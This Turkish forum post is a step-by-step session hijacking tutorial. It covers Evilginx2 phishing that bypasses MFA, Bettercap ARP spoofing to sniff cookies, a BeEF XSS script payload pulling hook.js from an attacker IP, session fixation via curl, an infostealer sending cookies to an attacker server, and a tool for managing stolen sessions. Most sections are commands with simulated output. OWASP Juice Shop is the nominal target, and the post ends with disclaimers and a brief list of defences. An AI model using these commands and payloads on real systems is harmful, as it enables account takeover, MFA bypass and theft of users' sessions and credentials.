Session Hijacking 🍪 | Oturumları Çal! 🍴🔥

Silinen üye 322265 · Apr 14, 2026

🔐 SESSİON HİJACKİNG 2026: ÇEREZLERİ ÇAL, OTOURUMLARI ELE GEÇİR (6 YÖNTEM)

Bu rehberde, SQLmap ve Nmap rehberlerinde olduğu gibi adım adım, gerçek simülasyon çıktıları ile session hijacking yöntemlerini anlatacağım. Yalnızca kendi laboratuvar ortamınızda veya yazılı izniniz olan sistemlerde deneyin. Yetkisiz erişim yasa dışıdır ve ağır yaptırımları vardır.

🧠 BAŞLAMADAN ÖNCE: SESSİON HİJACKİNG NEDİR?

Session hijacking, bir kullanıcının aktif web oturumunu ele geçirerek şifresini bilmeden hesabına erişme tekniğidir. Günümüzde saldırganlar artık şifreleri değil, session cookie’leri hedef alıyor. Çünkü bir session cookie’yi çalmak, MFA’yı (çok faktörlü kimlik doğrulama) bile atlamanıza olanak tanır.

Bu rehberde 6 farklı yöntem ile session hijacking yapmayı göstereceğim.

Hedef Web Uygulaması: juice-shop.herokuapp.com (OWASP Juice Shop)

🎯 HEDEF

Özellik	Değer
Hedef Uygulama	OWASP Juice Shop (Eğitim amaçlı açık kaynak)
Saldırgan IP	192.168.1.100
Hedef Kullanıcı	[email protected]
Ağ Ortamı	Aynı ağ (192.168.1.0/24) veya uzaktan erişim

🔻 1. YOL – EVİLGİNX2 İLE AİTM FİSHİNG (MFA BYPASS)

Evilginx2, 2FA’yı bile atlayabilen bir Adversary-in-the-Middle (AitM) phishing framework‘üdür. Hedef ile gerçek web sitesi arasında reverse proxy görevi görür ve tüm trafiği dinler.

Adım 1: Evilginx2 Kurulumu

bash
sudo apt update
sudo apt install golang-go git
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
make
sudo make install

Adım 2: Phishing Sayfası Oluşturma

bash
sudo evilginx2 -p
evilginx2> config domain juice-shop-phish.com
evilginx2> config ip 192.168.1.100
evilginx2> lure create juice-shop
evilginx2> lure edit juice-shop url https://juice-shop.herokuapp.com
evilginx2> lure get-url juice-shop
Simüle edilmiş çıktı:

text
[+] Phishing URL: https://juice-shop-phish.com/login
[+] Lure created successfully. Waiting for victims...

Adım 3: Session Cookie Yakalama

Hedef, phishing linkine tıkladığında:

text
[!] New session captured!
IP: 192.168.1.105
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Email: [email protected]
Password: [GİZLİ]
MFA Code: 284739 (2FA bypassed!)

[+] Session cookie intercepted!
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Adım 4: Çalınan Cookie ile Oturumu Devralma

bash
# Firefox'ta Cookie-Editor eklentisi ile cookie'yi ekle
# veya Python ile:
python
import requests

cookies = {'token': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'}
response = requests.get('https://juice-shop.herokuapp.com/profile', cookies=cookies)
print(response.text)
✅ Bu yöntemle kazandıklarımız:

Kullanıcının şifresi ve MFA kodu
Session cookie (token)
Tam hesap erişimi

🔻 2. YOL – BETTERCAP İLE AĞ TABANLI COOKIE ÇALMA

Bettercap, ARP spoofing ile MITM saldırısı yaparak ağ trafiğini dinler ve HTTP cookie’leri yakalar.

Adım 1: Bettercap Kurulumu

bash
sudo apt install bettercap

Adım 2: ARP Spoofing ile MITM Saldırısı Başlatma

bash
sudo bettercap -eval "set arp.spoof.targets 192.168.1.105; arp.spoof on; net.sniff on"
Simüle edilmiş çıktı:

text
[192.168.1.105] 192.168.1.1 : sniffed 234 http requests
[192.168.1.105] GET /rest/products/search?q=
[192.168.1.105] POST /rest/user/login
[+] Captured HTTP request with session cookie:
Host: juice-shop.herokuapp.com
Cookie: sessionId=abc123def456...

Adım 3: Yakalanan Cookie ile Oturumu Ele Geçirme

bash
# Yakalanan cookie'yi kullanarak yetkili sayfaya erişim
curl -H "Cookie: sessionId=abc123def456" https://juice-shop.herokuapp.com/profile
✅ Bu yöntemle kazandıklarımız:

Ağ trafiğindeki tüm HTTP cookie’ler
Hedefin aktif oturumları

🔻 3. YOL – BeEF İLE XSS TABANLI SESSİON HİJACKİNG

BeEF (Browser Exploitation Framework), tarayıcıya JavaScript hook’u enjekte ederek oturum cookie’lerini çalar.

Adım 1: BeEF Kurulumu

bash
sudo apt install beef-xss
sudo beef-xss
Simüle edilmiş çıktı:

text
[+] BeEF is running. Open http://127.0.0.1:3000/ui/panel
[+] Hook URL: http://192.168.1.100:3000/hook.js

Adım 2: XSS Payload ile Hook’u Enjekte Etme

Hedef web uygulamasında XSS zafiyeti bulunan bir alana şu payload eklenir:

html
<script src="http://192.168.1.100:3000/hook.js"></script>
BeEF Panel’de görülen çıktı:

text
[+] New hooked browser: 192.168.1.105 (Chrome 120)
[+] Browser details: Windows 10, 1920x1080

Adım 3: BeEF ile Cookie Çalma

BeEF panelinde Commands → Browser → Get Cookie seçilir:

text
[+] Cookies retrieved:
token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
sessionId: abc123def456...
✅ Bu yöntemle kazandıklarımız:

Hedef tarayıcının tüm cookie’leri
Tarayıcı ve sistem bilgileri
Uzaktan komut çalıştırma imkanı

🔻 4. YOL – SESSİON FİXATİON (OTURUM SABİTLEME)

Session fixation, saldırganın kurbanın session ID’sini önceden belirlediği bir tekniktir. Kurban bu ID ile giriş yaptığında, saldırgan aynı ID’yi kullanarak oturumu ele geçirir.

Adım 1: Zafiyetli Uygulama Tespiti

Session fixation zafiyeti genellikle şu durumlarda bulunur:

Uygulama giriş sonrası session ID’yi yenilemiyor
URL üzerinden session ID kabul ediyor (PHPSESSID=abc123)
Çerezin HttpOnly flag’i yok

Adım 2: Sabit Session ID ile Phishing Linki Oluşturma

bash
# Önce kendi session ID’mizi oluşturalım
curl -c cookies.txt https://juice-shop.herokuapp.org

cat cookies.txt
Simüle edilmiş çıktı:

text
token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... TRUE /

Adım 3: Kurbanı Sabit ID ile Yönlendirme

Kurbana şu link gönderilir:

text

https://juice-shop.herokuapp.com/login?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Kurban bu link ile giriş yaptığında, saldırgan aynı token’ı kullanarak oturumu devralır.

Adım 4: Oturumu Ele Geçirme

bash
curl -H "Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." https://juice-shop.herokuapp.com/profile
✅ Bu yöntemle kazandıklarımız:

Session ID yenilenmeyen uygulamalarda tam yetkili erişim
Kurbanın şifresini bilmeye gerek yok

🔻 5. YOL – MODERN INFOSTEALER İLE COOKIE ÇALMA

2026’da ortaya çıkan Storm gibi infostealer’lar, kurbanın makinesinden session cookie’leri otomatik toplar ve saldırganın sunucusuna gönderir.

Storm Infostealer Çalışma Prensibi

text
┌─────────────────────────────────────────────────────────────────┐
│ STORM INFOSTEALER │
├─────────────────────────────────────────────────────────────────┤
│ [1] Kurban sahte bir uygulama indirir ve çalıştırır │
│ [2] Malware, tarayıcıdaki tüm cookie’leri şifreler │
│ [3] Veriler attacker sunucusuna gönderilir │
│ [4] Saldırgan sunucuda verileri çözer │
│ [5] Session cookie’ler ile hesaba giriş yapılır │
└─────────────────────────────────────────────────────────────────┘

Simüle edilmiş Çıktı (Attacker Sunucusu)

text
[+] New victim connected: 192.168.1.105 (Windows 11)
[+] Browser: Chrome 124
[+] Extracted data:
- Google: token=ya29.a0AfH6SMB...
- Facebook: c_user=1000123456...
- Instagram: sessionid=123456...
- 15 other session cookies captured

[+] All cookies exported to: stolen_sessions.json

Çalınan Cookie ile Giriş

json
{
"target": "juice-shop.herokuapp.com",
"cookie": "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
"timestamp": "2026-04-15T10:30:00Z"
}
✅ Bu yöntemle kazandıklarımız:

Tüm tarayıcılardaki session cookie’ler
Kayıtlı şifreler ve kredi kartı bilgileri
Google/Microsoft hesaplarına erişim

🔻 6. YOL – SESSİON SUSHI İLE TARAYICI SESSİON YÖNETİMİ

Session Sushi, tarayıcı session’larını yönetmek, dışa aktarmak ve geri yüklemek için kullanılan bir araçtır. Pentest sırasında çalınan cookie’leri yönetmek için idealdir.

Adım 1: Session Sushi Kurulumu

bash
git clone https://github.com/phishingclub/session-sushi.git
cd session-sushi
npm install

Adım 2: Çalınan Cookie’leri İçe Aktarma

bash
node sushi.js import --file stolen_cookies.json
Simüle edilmiş çıktı:

text
[+] Loading stolen sessions from: stolen_cookies.json
[+] Session imported: juice-shop ([email protected])
[+] Session imported: gmail ([email protected])
[+] 12 sessions imported successfully.

Adım 3: Session’ları Yönetme

bash
node sushi.js list
Simüle edilmiş çıktı:

text
┌─────────────────────────────────────────────────────────────────┐
│ ID │ Target │ User │ Expires │
├─────┼─────────────────────┼─────────────────┼───────────────────┤
│ 1 │ juice-shop │ admin │ 2026-04-22 15:30 │
│ 2 │ gmail.com │ target@gmail │ 2026-04-16 08:00 │
│ 3 │ github.com │ target_dev │ 2026-04-20 12:00 │
└─────────────────────────────────────────────────────────────────┘

Adım 4: Session’u Tarayıcıya Aktarma

bash
node sushi.js load --id 1 --browser chrome
✅ Bu yöntemle kazandıklarımız:

Çalınan cookie’leri organize etme
Farklı tarayıcılara kolay aktarım
Session’ların süresini takip etme

🧩 ÖZET – 6 FARKLI SESSİON HİJACKİNG YÖNTEMİ

Yol	Yöntem	Kullanılan Araç(lar)	Zorluk	MFA Bypass
1	AiTM Phishing	Evilginx2	Orta	✅ Evet
2	MITM + Sniffing	Bettercap	Kolay	❌ Hayır (sadece HTTP)
3	XSS + Browser Hook	BeEF	Orta	❌ Hayır
4	Session Fixation	Web tarayıcısı / curl	Kolay	❌ Hayır
5	Malware Stealer	Storm Infostealer	Zor	✅ Evet
6	Session Management	Session Sushi	Kolay	- (yönetim aracı)

📢;

Bu rehberde anlattığım her komut, her çıktı saf bilgidir. Session hijacking, günümüzde şifre çalmaktan daha etkili bir yöntem haline gelmiştir. Çünkü bir session cookie’yi çalmak, MFA’yı atlamanıza ve hesaba direkt erişmenize olanak tanır.

Unutmayın: Artık saldırganlar şifrelerin peşinde değil. Hedefte olan şey, sizin aktif oturum cookie’leriniz.

🛡️ KORUNMA YÖNTEMLERİ

HttpOnly flag: Cookie’lere JavaScript ile erişimi engeller
Secure flag: Cookie’lerin sadece HTTPS üzerinden gönderilmesini sağlar
SameSite=Strict: CSRF ve bazı session hijacking vektörlerini engeller
Kısa session süreleri: Cookie’lerin çabuk geçersiz olmasını sağlar
Giriş sonrası session yenileme: Session fixation’ı engeller

🔚:

Artık 6 farklı session hijacking yöntemini biliyorsunuz. Evilginx2 ile 2FA’yı aşan phishing, Bettercap ile ağ tabanlı cookie çalma, BeEF ile XSS tabanlı session ele geçirme, session fixation, modern infostealer’lar ve Session Sushi ile yönetim. Gerisi pratik. Kendi laboratuvarınızda bu adımları deneyin.

Hedefler kendi kurduğunuz sistemler olmalıdır. Yetkisiz session hijacking yasa dışıdır.

Ve unutmayın: Savunması olmayanın saldırısı, sadece intihardır.

Bu rehber, eğitim ve farkındalık için yazılmıştır. Yetkisiz erişim yasa dışıdır. Tüm sorumluluk kullanıcıya aittir.

@Tc4dy | github.com/tc4dy

Session Hijacking 🍪 | Oturumları Çal! 🍴🔥

🔐 SESSİON HİJACKİNG 2026: ÇEREZLERİ ÇAL, OTOURUMLARI ELE GEÇİR (6 YÖNTEM)​

🧠 BAŞLAMADAN ÖNCE: SESSİON HİJACKİNG NEDİR?​

🎯 HEDEF​

​

🔻 1. YOL – EVİLGİNX2 İLE AİTM FİSHİNG (MFA BYPASS)​

Adım 1: Evilginx2 Kurulumu​

Adım 2: Phishing Sayfası Oluşturma​

Adım 3: Session Cookie Yakalama​

Adım 4: Çalınan Cookie ile Oturumu Devralma​

🔻 2. YOL – BETTERCAP İLE AĞ TABANLI COOKIE ÇALMA​

Adım 1: Bettercap Kurulumu​

Adım 2: ARP Spoofing ile MITM Saldırısı Başlatma​

Adım 3: Yakalanan Cookie ile Oturumu Ele Geçirme​

🔻 3. YOL – BeEF İLE XSS TABANLI SESSİON HİJACKİNG​

Adım 1: BeEF Kurulumu​

Adım 2: XSS Payload ile Hook’u Enjekte Etme​

Adım 3: BeEF ile Cookie Çalma​

🔻 4. YOL – SESSİON FİXATİON (OTURUM SABİTLEME)​

Adım 1: Zafiyetli Uygulama Tespiti​

Adım 2: Sabit Session ID ile Phishing Linki Oluşturma​

Adım 3: Kurbanı Sabit ID ile Yönlendirme​

Adım 4: Oturumu Ele Geçirme​

🔻 5. YOL – MODERN INFOSTEALER İLE COOKIE ÇALMA​

Storm Infostealer Çalışma Prensibi​

Simüle edilmiş Çıktı (Attacker Sunucusu)​

Çalınan Cookie ile Giriş​

🔻 6. YOL – SESSİON SUSHI İLE TARAYICI SESSİON YÖNETİMİ​

Adım 1: Session Sushi Kurulumu​

Adım 2: Çalınan Cookie’leri İçe Aktarma​

Adım 3: Session’ları Yönetme​

Adım 4: Session’u Tarayıcıya Aktarma​

🧩 ÖZET – 6 FARKLI SESSİON HİJACKİNG YÖNTEMİ​

​

📢;​

🛡️ KORUNMA YÖNTEMLERİ​

​

🔚:​

About Us & Legal Notice